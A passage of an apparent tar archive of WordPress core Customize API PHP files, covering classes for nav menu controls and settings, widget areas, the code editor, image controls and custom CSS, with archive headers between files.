<label for="edit-menu-item-title-{{ data.menu_item_id }}">
<?php _e( 'Navigation Label' ); ?><br />
<input type="text" id="edit-menu-item-title-{{ data.menu_item_id }}" placeholder="{{ data.original_title }}" class="widefat edit-menu-item-title" name="menu-item-title" />
</label>
</p>
<p class="field-link-target description description-thin">
<label for="edit-menu-item-target-{{ data.menu_item_id }}">
<input type="checkbox" id="edit-menu-item-target-{{ data.menu_item_id }}" class="edit-menu-item-target" value="_blank" name="menu-item-target" />
<?php _e( 'Open link in a new tab' ); ?>
</label>
</p>
<p class="field-title-attribute field-attr-title description description-thin">
<label for="edit-menu-item-attr-title-{{ data.menu_item_id }}">
<?php _e( 'Title Attribute' ); ?><br />
<input type="text" id="edit-menu-item-attr-title-{{ data.menu_item_id }}" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title" />
</label>
</p>
<p class="field-css-classes description description-thin">
<label for="edit-menu-item-classes-{{ data.menu_item_id }}">
<?php _e( 'CSS Classes' ); ?><br />
<input type="text" id="edit-menu-item-classes-{{ data.menu_item_id }}" class="widefat code edit-menu-item-classes" name="menu-item-classes" />
</label>
</p>
<p class="field-xfn description description-thin">
<label for="edit-menu-item-xfn-{{ data.menu_item_id }}">
<?php _e( 'Link Relationship (XFN)' ); ?><br />
<input type="text" id="edit-menu-item-xfn-{{ data.menu_item_id }}" class="widefat code edit-menu-item-xfn" name="menu-item-xfn" />
</label>
</p>
<p class="field-description description description-thin">
<label for="edit-menu-item-description-{{ data.menu_item_id }}">
<?php _e( 'Description' ); ?><br />
<textarea id="edit-menu-item-description-{{ data.menu_item_id }}" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description">{{ data.description }}</textarea>
<span class="description"><?php _e( 'The description will be displayed in the menu if the active theme supports it.' ); ?></span>
</label>
</p>
<?php
/**
* Fires at the end of the form field template for nav menu items in the customizer.
*
* Additional fields can be rendered here and managed in JavaScript.
*
* @since 5.4.0
*/
do_action( 'wp_nav_menu_item_custom_fields_customize_template' );
?>
<div class="menu-item-actions description-thin submitbox">
<# if ( ( 'post_type' === data.item_type || 'taxonomy' === data.item_type ) && '' !== data.original_title ) { #>
<p class="link-to-original">
<?php
/* translators: Nav menu item original title. %s: Original title. */
printf( __( 'Original: %s' ), '<a class="original-link" href="{{ data.url }}">{{ data.original_title }}</a>' );
?>
</p>
<# } #>
<button type="button" class="button-link button-link-delete item-delete submitdelete deletion"><?php _e( 'Remove' ); ?></button>
<span class="spinner"></span>
</div>
<input type="hidden" name="menu-item-db-id[{{ data.menu_item_id }}]" class="menu-item-data-db-id" value="{{ data.menu_item_id }}" />
<input type="hidden" name="menu-item-parent-id[{{ data.menu_item_id }}]" class="menu-item-data-parent-id" value="{{ data.parent }}" />
</div><!-- .menu-item-settings-->
<ul class="menu-item-transport"></ul>
<?php
}
/**
* Return parameters for this control.
*
* @since 4.3.0
*
* @return array Exported parameters.
*/
public function json() {
$exported = parent::json();
$exported['menu_item_id'] = $this->setting->post_id;
return $exported;
}
}
class-wp-customize-sidebar-section.php 0000644 00000002043 15172715561 0014110 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Sidebar_Section class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customizer section representing widget area (sidebar).
*
* @since 4.1.0
*
* @see WP_Customize_Section
*/
class WP_Customize_Sidebar_Section extends WP_Customize_Section {
/**
* Type of this section.
*
* @since 4.1.0
* @var string
*/
public $type = 'sidebar';
/**
* Unique identifier.
*
* @since 4.1.0
* @var string
*/
public $sidebar_id;
/**
* Gather the parameters passed to client JavaScript via JSON.
*
* @since 4.1.0
*
* @return array The array to be exported to the client as JSON.
*/
public function json() {
$json = parent::json();
$json['sidebarId'] = $this->sidebar_id;
return $json;
}
/**
* Whether the current sidebar is rendered on the page.
*
* @since 4.1.0
*
* @return bool Whether sidebar is rendered.
*/
public function active_callback() {
return $this->manager->widgets->is_sidebar_rendered( $this->sidebar_id );
}
}
class-wp-customize-nav-menu-name-control.php 0000644 00000002153 15172715561 0015161 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Name_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize control to represent the name field for a given menu.
*
* @since 4.3.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Nav_Menu_Name_Control extends WP_Customize_Control {
/**
* Type of control, used by JS.
*
* @since 4.3.0
* @var string
*/
public $type = 'nav_menu_name';
/**
* No-op since we're using JS template.
*
* @since 4.3.0
*/
protected function render_content() {}
/**
* Render the Underscore template for this control.
*
* @since 4.3.0
*/
protected function content_template() {
?>
<label>
<# if ( data.label ) { #>
<span class="customize-control-title">{{ data.label }}</span>
<# } #>
<input type="text" class="menu-name-field live-update-section-title"
<# if ( data.description ) { #>
aria-describedby="{{ data.section }}-description"
<# } #>
/>
</label>
<# if ( data.description ) { #>
<p id="{{ data.section }}-description">{{ data.description }}</p>
<# } #>
<?php
}
}
class-wp-widget-area-customize-control.php 0000644 00000003267 15172715561 0014715 0 ustar 00 <?php
/**
* Customize API: WP_Widget_Area_Customize_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Widget Area Customize Control class.
*
* @since 3.9.0
*
* @see WP_Customize_Control
*/
class WP_Widget_Area_Customize_Control extends WP_Customize_Control {
/**
* Customize control type.
*
* @since 3.9.0
* @var string
*/
public $type = 'sidebar_widgets';
/**
* Sidebar ID.
*
* @since 3.9.0
* @var int|string
*/
public $sidebar_id;
/**
* Refreshes the parameters passed to the JavaScript via JSON.
*
* @since 3.9.0
*/
public function to_json() {
parent::to_json();
$exported_properties = array( 'sidebar_id' );
foreach ( $exported_properties as $key ) {
$this->json[ $key ] = $this->$key;
}
}
/**
* Renders the control's content.
*
* @since 3.9.0
*/
public function render_content() {
$id = 'reorder-widgets-desc-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
?>
<button type="button" class="button add-new-widget" aria-expanded="false" aria-controls="available-widgets">
<?php _e( 'Add a Widget' ); ?>
</button>
<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder widgets' ); ?>" aria-describedby="<?php echo esc_attr( $id ); ?>">
<span class="reorder"><?php _e( 'Reorder' ); ?></span>
<span class="reorder-done"><?php _e( 'Done' ); ?></span>
</button>
<p class="screen-reader-text" id="<?php echo esc_attr( $id ); ?>">
<?php
/* translators: Hidden accessibility text. */
_e( 'When in reorder mode, additional controls to reorder widgets will be available in the widgets list above.' );
?>
</p>
<?php
}
}
class-wp-customize-code-editor-control.php 0000644 00000004415 15172715561 0014716 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Code_Editor_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.9.0
*/
/**
* Customize Code Editor Control class.
*
* @since 4.9.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Code_Editor_Control extends WP_Customize_Control {
/**
* Customize control type.
*
* @since 4.9.0
* @var string
*/
public $type = 'code_editor';
/**
* Type of code that is being edited.
*
* @since 4.9.0
* @var string
*/
public $code_type = '';
/**
* Code editor settings.
*
* @see wp_enqueue_code_editor()
* @since 4.9.0
* @var array|false
*/
public $editor_settings = array();
/**
* Enqueue control related scripts/styles.
*
* @since 4.9.0
*/
public function enqueue() {
$this->editor_settings = wp_enqueue_code_editor(
array_merge(
array(
'type' => $this->code_type,
'codemirror' => array(
'indentUnit' => 2,
'tabSize' => 2,
),
),
$this->editor_settings
)
);
}
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @since 4.9.0
*
* @see WP_Customize_Control::json()
*
* @return array Array of parameters passed to the JavaScript.
*/
public function json() {
$json = parent::json();
$json['editor_settings'] = $this->editor_settings;
$json['input_attrs'] = $this->input_attrs;
return $json;
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*
* @since 4.9.0
*/
public function render_content() {}
/**
* Render a JS template for control display.
*
* @since 4.9.0
*/
public function content_template() {
?>
<# var elementIdPrefix = 'el' + String( Math.random() ); #>
<# if ( data.label ) { #>
<label for="{{ elementIdPrefix }}_editor" class="customize-control-title">
{{ data.label }}
</label>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
<div class="customize-control-notifications-container"></div>
<textarea id="{{ elementIdPrefix }}_editor"
<# _.each( _.extend( { 'class': 'code' }, data.input_attrs ), function( value, key ) { #>
{{{ key }}}="{{ value }}"
<# }); #>
></textarea>
<?php
}
}
class-wp-customize-image-control.php 0000644 00000002273 15172715561 0013602 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Image_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Image Control class.
*
* @since 3.4.0
*
* @see WP_Customize_Upload_Control
*/
class WP_Customize_Image_Control extends WP_Customize_Upload_Control {
/**
* Control type.
*
* @since 3.4.0
* @var string
*/
public $type = 'image';
/**
* Media control mime type.
*
* @since 4.1.0
* @var string
*/
public $mime_type = 'image';
/**
* @since 3.4.2
* @deprecated 4.1.0
*/
public function prepare_control() {}
/**
* @since 3.4.0
* @deprecated 4.1.0
*
* @param string $id
* @param string $label
* @param mixed $callback
*/
public function add_tab( $id, $label, $callback ) {
_deprecated_function( __METHOD__, '4.1.0' );
}
/**
* @since 3.4.0
* @deprecated 4.1.0
*
* @param string $id
*/
public function remove_tab( $id ) {
_deprecated_function( __METHOD__, '4.1.0' );
}
/**
* @since 3.4.0
* @deprecated 4.1.0
*
* @param string $url
* @param string $thumbnail_url
*/
public function print_tab_image( $url, $thumbnail_url = null ) {
_deprecated_function( __METHOD__, '4.1.0' );
}
}
class-wp-customize-nav-menu-setting.php 0000644 00000044770 15172715562 0014254 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Setting class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Setting to represent a nav_menu.
*
* Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
* the IDs for the nav_menu_items associated with the nav menu.
*
* @since 4.3.0
*
* @see wp_get_nav_menu_object()
* @see WP_Customize_Setting
*/
class WP_Customize_Nav_Menu_Setting extends WP_Customize_Setting {
const ID_PATTERN = '/^nav_menu\[(?P<id>-?\d+)\]$/';
const TAXONOMY = 'nav_menu';
const TYPE = 'nav_menu';
/**
* Setting type.
*
* @since 4.3.0
* @var string
*/
public $type = self::TYPE;
/**
* Default setting value.
*
* @since 4.3.0
* @var array
*
* @see wp_get_nav_menu_object()
*/
public $default = array(
'name' => '',
'description' => '',
'parent' => 0,
'auto_add' => false,
);
/**
* Default transport.
*
* @since 4.3.0
* @var string
*/
public $transport = 'postMessage';
/**
* The term ID represented by this setting instance.
*
* A negative value represents a placeholder ID for a new menu not yet saved.
*
* @since 4.3.0
* @var int
*/
public $term_id;
/**
* Previous (placeholder) term ID used before creating a new menu.
*
* This value will be exported to JS via the {@see 'customize_save_response'} filter
* so that JavaScript can update the settings to refer to the newly-assigned
* term ID. This value is always negative to indicate it does not refer to
* a real term.
*
* @since 4.3.0
* @var int
*
* @see WP_Customize_Nav_Menu_Setting::update()
* @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
*/
public $previous_term_id;
/**
* Whether or not update() was called.
*
* @since 4.3.0
* @var bool
*/
protected $is_updated = false;
/**
* Status for calling the update method, used in customize_save_response filter.
*
* See {@see 'customize_save_response'}.
*
* When status is inserted, the placeholder term ID is stored in `$previous_term_id`.
* When status is error, the error is stored in `$update_error`.
*
* @since 4.3.0
* @var string updated|inserted|deleted|error
*
* @see WP_Customize_Nav_Menu_Setting::update()
* @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
*/
public $update_status;
/**
* Any error object returned by wp_update_nav_menu_object() when setting is updated.
*
* @since 4.3.0
* @var WP_Error
*
* @see WP_Customize_Nav_Menu_Setting::update()
* @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
*/
public $update_error;
/**
* Constructor.
*
* Any supplied $args override class property defaults.
*
* @since 4.3.0
*
* @throws Exception If $id is not valid for this setting type.
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id A specific ID of the setting.
* Can be a theme mod or option name.
* @param array $args Optional. Setting arguments.
*/
public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
if ( empty( $manager->nav_menus ) ) {
throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
}
if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
throw new Exception( "Illegal widget setting ID: $id" );
}
$this->term_id = (int) $matches['id'];
parent::__construct( $manager, $id, $args );
}
/**
* Get the instance data for a given widget setting.
*
* @since 4.3.0
*
* @see wp_get_nav_menu_object()
*
* @return array Instance data.
*/
public function value() {
if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) {
$undefined = new stdClass(); // Symbol.
$post_value = $this->post_value( $undefined );
if ( $undefined === $post_value ) {
$value = $this->_original_value;
} else {
$value = $post_value;
}
} else {
$value = false;
// Note that a term_id of less than one indicates a nav_menu not yet inserted.
if ( $this->term_id > 0 ) {
$term = wp_get_nav_menu_object( $this->term_id );
if ( $term ) {
$value = wp_array_slice_assoc( (array) $term, array_keys( $this->default ) );
$nav_menu_options = (array) get_option( 'nav_menu_options', array() );
$value['auto_add'] = false;
if ( isset( $nav_menu_options['auto_add'] ) && is_array( $nav_menu_options['auto_add'] ) ) {
$value['auto_add'] = in_array( $term->term_id, $nav_menu_options['auto_add'], true );
}
}
}
if ( ! is_array( $value ) ) {
$value = $this->default;
}
}
return $value;
}
/**
* Handle previewing the setting.
*
* @since 4.3.0
* @since 4.4.0 Added boolean return value
*
* @see WP_Customize_Manager::post_value()
*
* @return bool False if method short-circuited due to no-op.
*/
public function preview() {
if ( $this->is_previewed ) {
return false;
}
$undefined = new stdClass();
$is_placeholder = ( $this->term_id < 0 );
$is_dirty = ( $undefined !== $this->post_value( $undefined ) );
if ( ! $is_placeholder && ! $is_dirty ) {
return false;
}
$this->is_previewed = true;
$this->_original_value = $this->value();
$this->_previewed_blog_id = get_current_blog_id();
add_filter( 'wp_get_nav_menus', array( $this, 'filter_wp_get_nav_menus' ), 10, 2 );
add_filter( 'wp_get_nav_menu_object', array( $this, 'filter_wp_get_nav_menu_object' ), 10, 2 );
add_filter( 'default_option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );
add_filter( 'option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );
return true;
}
/**
* Filters the wp_get_nav_menus() result to ensure the inserted menu object is included, and the deleted one is removed.
*
* @since 4.3.0
*
* @see wp_get_nav_menus()
*
* @param WP_Term[] $menus An array of menu objects.
* @param array $args An array of arguments used to retrieve menu objects.
* @return WP_Term[] Array of menu objects.
*/
public function filter_wp_get_nav_menus( $menus, $args ) {
if ( get_current_blog_id() !== $this->_previewed_blog_id ) {
return $menus;
}
$setting_value = $this->value();
$is_delete = ( false === $setting_value );
$index = -1;
// Find the existing menu item's position in the list.
foreach ( $menus as $i => $menu ) {
if ( (int) $this->term_id === (int) $menu->term_id || (int) $this->previous_term_id === (int) $menu->term_id ) {
$index = $i;
break;
}
}
if ( $is_delete ) {
// Handle deleted menu by removing it from the list.
if ( -1 !== $index ) {
array_splice( $menus, $index, 1 );
}
} else {
// Handle menus being updated or inserted.
$menu_obj = (object) array_merge(
array(
'term_id' => $this->term_id,
'term_taxonomy_id' => $this->term_id,
'slug' => sanitize_title( $setting_value['name'] ),
'count' => 0,
'term_group' => 0,
'taxonomy' => self::TAXONOMY,
'filter' => 'raw',
),
$setting_value
);
array_splice( $menus, $index, ( -1 === $index ? 0 : 1 ), array( $menu_obj ) );
}
// Make sure the menu objects get re-sorted after an update/insert.
if ( ! $is_delete && ! empty( $args['orderby'] ) ) {
$menus = wp_list_sort(
$menus,
array(
$args['orderby'] => 'ASC',
)
);
}
// @todo Add support for $args['hide_empty'] === true.
return $menus;
}
/**
* Temporary non-closure passing of orderby value to function.
*
* @since 4.3.0
* @var string
*
* @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
* @see WP_Customize_Nav_Menu_Setting::_sort_menus_by_orderby()
*/
protected $_current_menus_sort_orderby;
/**
* Sort menu objects by the class-supplied orderby property.
*
* This is a workaround for a lack of closures.
*
* @since 4.3.0
* @deprecated 4.7.0 Use wp_list_sort()
*
* @param object $menu1
* @param object $menu2
* @return int
*
* @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
*/
protected function _sort_menus_by_orderby( $menu1, $menu2 ) {
_deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' );
$key = $this->_current_menus_sort_orderby;
return strcmp( $menu1->$key, $menu2->$key );
}
/**
* Filters the wp_get_nav_menu_object() result to supply the previewed menu object.
*
* Requesting a nav_menu object by anything but ID is not supported.
*
* @since 4.3.0
*
* @see wp_get_nav_menu_object()
*
* @param object|null $menu_obj Object returned by wp_get_nav_menu_object().
* @param string $menu_id ID of the nav_menu term. Requests by slug or name will be ignored.
* @return object|null
*/
public function filter_wp_get_nav_menu_object( $menu_obj, $menu_id ) {
$ok = (
get_current_blog_id() === $this->_previewed_blog_id
&&
is_int( $menu_id )
&&
$menu_id === $this->term_id
);
if ( ! $ok ) {
return $menu_obj;
}
$setting_value = $this->value();
// Handle deleted menus.
if ( false === $setting_value ) {
return false;
}
// Handle sanitization failure by preventing short-circuiting.
if ( null === $setting_value ) {
return $menu_obj;
}
$menu_obj = (object) array_merge(
array(
'term_id' => $this->term_id,
'term_taxonomy_id' => $this->term_id,
'slug' => sanitize_title( $setting_value['name'] ),
'count' => 0,
'term_group' => 0,
'taxonomy' => self::TAXONOMY,
'filter' => 'raw',
),
$setting_value
);
return $menu_obj;
}
/**
* Filters the nav_menu_options option to include this menu's auto_add preference.
*
* @since 4.3.0
*
* @param array $nav_menu_options Nav menu options including auto_add.
* @return array (Maybe) modified nav menu options.
*/
public function filter_nav_menu_options( $nav_menu_options ) {
if ( get_current_blog_id() !== $this->_previewed_blog_id ) {
return $nav_menu_options;
}
$menu = $this->value();
$nav_menu_options = $this->filter_nav_menu_options_value(
$nav_menu_options,
$this->term_id,
false === $menu ? false : $menu['auto_add']
);
return $nav_menu_options;
}
/**
* Sanitize an input.
*
* Note that parent::sanitize() erroneously does wp_unslash() on $value, but
* we remove that in this override.
*
* @since 4.3.0
*
* @param array $value The menu value to sanitize.
* @return array|false|null Null if an input isn't valid. False if it is marked for deletion.
* Otherwise the sanitized value.
*/
public function sanitize( $value ) {
// Menu is marked for deletion.
if ( false === $value ) {
return $value;
}
// Invalid.
if ( ! is_array( $value ) ) {
return null;
}
$default = array(
'name' => '',
'description' => '',
'parent' => 0,
'auto_add' => false,
);
$value = array_merge( $default, $value );
$value = wp_array_slice_assoc( $value, array_keys( $default ) );
$value['name'] = trim( esc_html( $value['name'] ) ); // This sanitization code is used in wp-admin/nav-menus.php.
$value['description'] = sanitize_text_field( $value['description'] );
$value['parent'] = max( 0, (int) $value['parent'] );
$value['auto_add'] = ! empty( $value['auto_add'] );
if ( '' === $value['name'] ) {
$value['name'] = _x( '(unnamed)', 'Missing menu name.' );
}
/** This filter is documented in wp-includes/class-wp-customize-setting.php */
return apply_filters( "customize_sanitize_{$this->id}", $value, $this );
}
/**
* Storage for data to be sent back to client in customize_save_response filter.
*
* See {@see 'customize_save_response'}.
*
* @since 4.3.0
* @var array
*
* @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
*/
protected $_widget_nav_menu_updates = array();
/**
* Create/update the nav_menu term for this setting.
*
* Any created menus will have their assigned term IDs exported to the client
* via the {@see 'customize_save_response'} filter. Likewise, any errors will be exported
* to the client via the customize_save_response() filter.
*
* To delete a menu, the client can send false as the value.
*
* @since 4.3.0
*
* @see wp_update_nav_menu_object()
*
* @param array|false $value {
* The value to update. Note that slug cannot be updated via wp_update_nav_menu_object().
* If false, then the menu will be deleted entirely.
*
* @type string $name The name of the menu to save.
* @type string $description The term description. Default empty string.
* @type int $parent The id of the parent term. Default 0.
* @type bool $auto_add Whether pages will auto_add to this menu. Default false.
* }
* @return null|void
*/
protected function update( $value ) {
if ( $this->is_updated ) {
return;
}
$this->is_updated = true;
$is_placeholder = ( $this->term_id < 0 );
$is_delete = ( false === $value );
add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );
$auto_add = null;
if ( $is_delete ) {
// If the current setting term is a placeholder, a delete request is a no-op.
if ( $is_placeholder ) {
$this->update_status = 'deleted';
} else {
$r = wp_delete_nav_menu( $this->term_id );
if ( is_wp_error( $r ) ) {
$this->update_status = 'error';
$this->update_error = $r;
} else {
$this->update_status = 'deleted';
$auto_add = false;
}
}
} else {
// Insert or update menu.
$menu_data = wp_array_slice_assoc( $value, array( 'description', 'parent' ) );
$menu_data['menu-name'] = $value['name'];
$menu_id = $is_placeholder ? 0 : $this->term_id;
$r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
$original_name = $menu_data['menu-name'];
$name_conflict_suffix = 1;
while ( is_wp_error( $r ) && 'menu_exists' === $r->get_error_code() ) {
$name_conflict_suffix += 1;
/* translators: 1: Original menu name, 2: Duplicate count. */
$menu_data['menu-name'] = sprintf( __( '%1$s (%2$d)' ), $original_name, $name_conflict_suffix );
$r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
}
if ( is_wp_error( $r ) ) {
$this->update_status = 'error';
$this->update_error = $r;
} else {
if ( $is_placeholder ) {
$this->previous_term_id = $this->term_id;
$this->term_id = $r;
$this->update_status = 'inserted';
} else {
$this->update_status = 'updated';
}
$auto_add = $value['auto_add'];
}
}
if ( null !== $auto_add ) {
$nav_menu_options = $this->filter_nav_menu_options_value(
(array) get_option( 'nav_menu_options', array() ),
$this->term_id,
$auto_add
);
update_option( 'nav_menu_options', $nav_menu_options );
}
if ( 'inserted' === $this->update_status ) {
// Make sure that new menus assigned to nav menu locations use their new IDs.
foreach ( $this->manager->settings() as $setting ) {
if ( ! preg_match( '/^nav_menu_locations\[/', $setting->id ) ) {
continue;
}
$post_value = $setting->post_value( null );
if ( ! is_null( $post_value ) && (int) $post_value === $this->previous_term_id ) {
$this->manager->set_post_value( $setting->id, $this->term_id );
$setting->save();
}
}
// Make sure that any nav_menu widgets referencing the placeholder nav menu get updated and sent back to client.
foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) {
$nav_menu_widget_setting = $this->manager->get_setting( $setting_id );
if ( ! $nav_menu_widget_setting || ! preg_match( '/^widget_nav_menu\[/', $nav_menu_widget_setting->id ) ) {
continue;
}
$widget_instance = $nav_menu_widget_setting->post_value(); // Note that this calls WP_Customize_Widgets::sanitize_widget_instance().
if ( empty( $widget_instance['nav_menu'] ) || (int) $widget_instance['nav_menu'] !== $this->previous_term_id ) {
continue;
}
$widget_instance['nav_menu'] = $this->term_id;
$updated_widget_instance = $this->manager->widgets->sanitize_widget_js_instance( $widget_instance );
$this->manager->set_post_value( $nav_menu_widget_setting->id, $updated_widget_instance );
$nav_menu_widget_setting->save();
$this->_widget_nav_menu_updates[ $nav_menu_widget_setting->id ] = $updated_widget_instance;
}
}
}
/**
* Updates a nav_menu_options array.
*
* @since 4.3.0
*
* @see WP_Customize_Nav_Menu_Setting::filter_nav_menu_options()
* @see WP_Customize_Nav_Menu_Setting::update()
*
* @param array $nav_menu_options Array as returned by get_option( 'nav_menu_options' ).
* @param int $menu_id The term ID for the given menu.
* @param bool $auto_add Whether to auto-add or not.
* @return array (Maybe) modified nav_menu_options array.
*/
protected function filter_nav_menu_options_value( $nav_menu_options, $menu_id, $auto_add ) {
$nav_menu_options = (array) $nav_menu_options;
if ( ! isset( $nav_menu_options['auto_add'] ) ) {
$nav_menu_options['auto_add'] = array();
}
$i = array_search( $menu_id, $nav_menu_options['auto_add'], true );
if ( $auto_add && false === $i ) {
array_push( $nav_menu_options['auto_add'], $this->term_id );
} elseif ( ! $auto_add && false !== $i ) {
array_splice( $nav_menu_options['auto_add'], $i, 1 );
}
return $nav_menu_options;
}
/**
* Export data for the JS client.
*
* @since 4.3.0
*
* @see WP_Customize_Nav_Menu_Setting::update()
*
* @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
* @return array Export data.
*/
public function amend_customize_save_response( $data ) {
if ( ! isset( $data['nav_menu_updates'] ) ) {
$data['nav_menu_updates'] = array();
}
if ( ! isset( $data['widget_nav_menu_updates'] ) ) {
$data['widget_nav_menu_updates'] = array();
}
$data['nav_menu_updates'][] = array(
'term_id' => $this->term_id,
'previous_term_id' => $this->previous_term_id,
'error' => $this->update_error ? $this->update_error->get_error_code() : null,
'status' => $this->update_status,
'saved_value' => 'deleted' === $this->update_status ? null : $this->value(),
);
$data['widget_nav_menu_updates'] = array_merge(
$data['widget_nav_menu_updates'],
$this->_widget_nav_menu_updates
);
$this->_widget_nav_menu_updates = array();
return $data;
}
}
class-wp-customize-custom-css-setting.php 0000644 00000012244 15172715562 0014615 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Custom_CSS_Setting class
*
* This handles validation, sanitization and saving of the value.
*
* @package WordPress
* @subpackage Customize
* @since 4.7.0
*/
/**
* Custom Setting to handle WP Custom CSS.
*
* @since 4.7.0
*
* @see WP_Customize_Setting
*/
final class WP_Customize_Custom_CSS_Setting extends WP_Customize_Setting {
/**
* The setting type.
*
* @since 4.7.0
* @var string
*/
public $type = 'custom_css';
/**
* Setting Transport
*
* @since 4.7.0
* @var string
*/
public $transport = 'postMessage';
/**
* Capability required to edit this setting.
*
* @since 4.7.0
* @var string
*/
public $capability = 'edit_css';
/**
* Stylesheet
*
* @since 4.7.0
* @var string
*/
public $stylesheet = '';
/**
* WP_Customize_Custom_CSS_Setting constructor.
*
* @since 4.7.0
*
* @throws Exception If the setting ID does not match the pattern `custom_css[$stylesheet]`.
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id A specific ID of the setting.
* Can be a theme mod or option name.
* @param array $args Setting arguments.
*/
public function __construct( $manager, $id, $args = array() ) {
parent::__construct( $manager, $id, $args );
if ( 'custom_css' !== $this->id_data['base'] ) {
throw new Exception( 'Expected custom_css id_base.' );
}
if ( 1 !== count( $this->id_data['keys'] ) || empty( $this->id_data['keys'][0] ) ) {
throw new Exception( 'Expected single stylesheet key.' );
}
$this->stylesheet = $this->id_data['keys'][0];
}
/**
* Add filter to preview post value.
*
* @since 4.7.9
*
* @return bool False when preview short-circuits due no change needing to be previewed.
*/
public function preview() {
if ( $this->is_previewed ) {
return false;
}
$this->is_previewed = true;
add_filter( 'wp_get_custom_css', array( $this, 'filter_previewed_wp_get_custom_css' ), 9, 2 );
return true;
}
/**
* Filters `wp_get_custom_css` for applying the customized value.
*
* This is used in the preview when `wp_get_custom_css()` is called for rendering the styles.
*
* @since 4.7.0
*
* @see wp_get_custom_css()
*
* @param string $css Original CSS.
* @param string $stylesheet Current stylesheet.
* @return string CSS.
*/
public function filter_previewed_wp_get_custom_css( $css, $stylesheet ) {
if ( $stylesheet === $this->stylesheet ) {
$customized_value = $this->post_value( null );
if ( ! is_null( $customized_value ) ) {
$css = $customized_value;
}
}
return $css;
}
/**
* Fetch the value of the setting. Will return the previewed value when `preview()` is called.
*
* @since 4.7.0
*
* @see WP_Customize_Setting::value()
*
* @return string
*/
public function value() {
if ( $this->is_previewed ) {
$post_value = $this->post_value( null );
if ( null !== $post_value ) {
return $post_value;
}
}
$id_base = $this->id_data['base'];
$value = '';
$post = wp_get_custom_css_post( $this->stylesheet );
if ( $post ) {
$value = $post->post_content;
}
if ( empty( $value ) ) {
$value = $this->default;
}
/** This filter is documented in wp-includes/class-wp-customize-setting.php */
$value = apply_filters( "customize_value_{$id_base}", $value, $this );
return $value;
}
/**
* Validate a received value for being valid CSS.
*
* Checks for imbalanced braces, brackets, and comments.
* Notifications are rendered when the customizer state is saved.
*
* @since 4.7.0
* @since 4.9.0 Checking for balanced characters has been moved client-side via linting in code editor.
* @since 5.9.0 Renamed `$css` to `$value` for PHP 8 named parameter support.
*
* @param string $value CSS to validate.
* @return true|WP_Error True if the input was validated, otherwise WP_Error.
*/
public function validate( $value ) {
// Restores the more descriptive, specific name for use within this method.
$css = $value;
$validity = new WP_Error();
if ( preg_match( '#</?\w+#', $css ) ) {
$validity->add( 'illegal_markup', __( 'Markup is not allowed in CSS.' ) );
}
if ( ! $validity->has_errors() ) {
$validity = parent::validate( $css );
}
return $validity;
}
/**
* Store the CSS setting value in the custom_css custom post type for the stylesheet.
*
* @since 4.7.0
* @since 5.9.0 Renamed `$css` to `$value` for PHP 8 named parameter support.
*
* @param string $value CSS to update.
* @return int|false The post ID or false if the value could not be saved.
*/
public function update( $value ) {
// Restores the more descriptive, specific name for use within this method.
$css = $value;
if ( empty( $css ) ) {
$css = '';
}
$r = wp_update_custom_css_post(
$css,
array(
'stylesheet' => $this->stylesheet,
)
);
if ( is_wp_error( $r ) ) {
return false;
}
$post_id = $r->ID;
// Cache post ID in theme mod for performance to avoid additional DB query.
if ( $this->manager->get_stylesheet() === $this->stylesheet ) {
set_theme_mod( 'custom_css_post_id', $post_id );
}
return $post_id;
}
}
class-wp-customize-partial.php 0000644 00000024510 15172715562 0012475 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Partial class
*
* @package WordPress
* @subpackage Customize
* @since 4.5.0
*/
/**
* Core Customizer class for implementing selective refresh partials.
*
* Representation of a rendered region in the previewed page that gets
* selectively refreshed when an associated setting is changed.
* This class is analogous of WP_Customize_Control.
*
* @since 4.5.0
*/
#[AllowDynamicProperties]
class WP_Customize_Partial {
/**
* Component.
*
* @since 4.5.0
* @var WP_Customize_Selective_Refresh
*/
public $component;
/**
* Unique identifier for the partial.
*
* If the partial is used to display a single setting, this would generally
* be the same as the associated setting's ID.
*
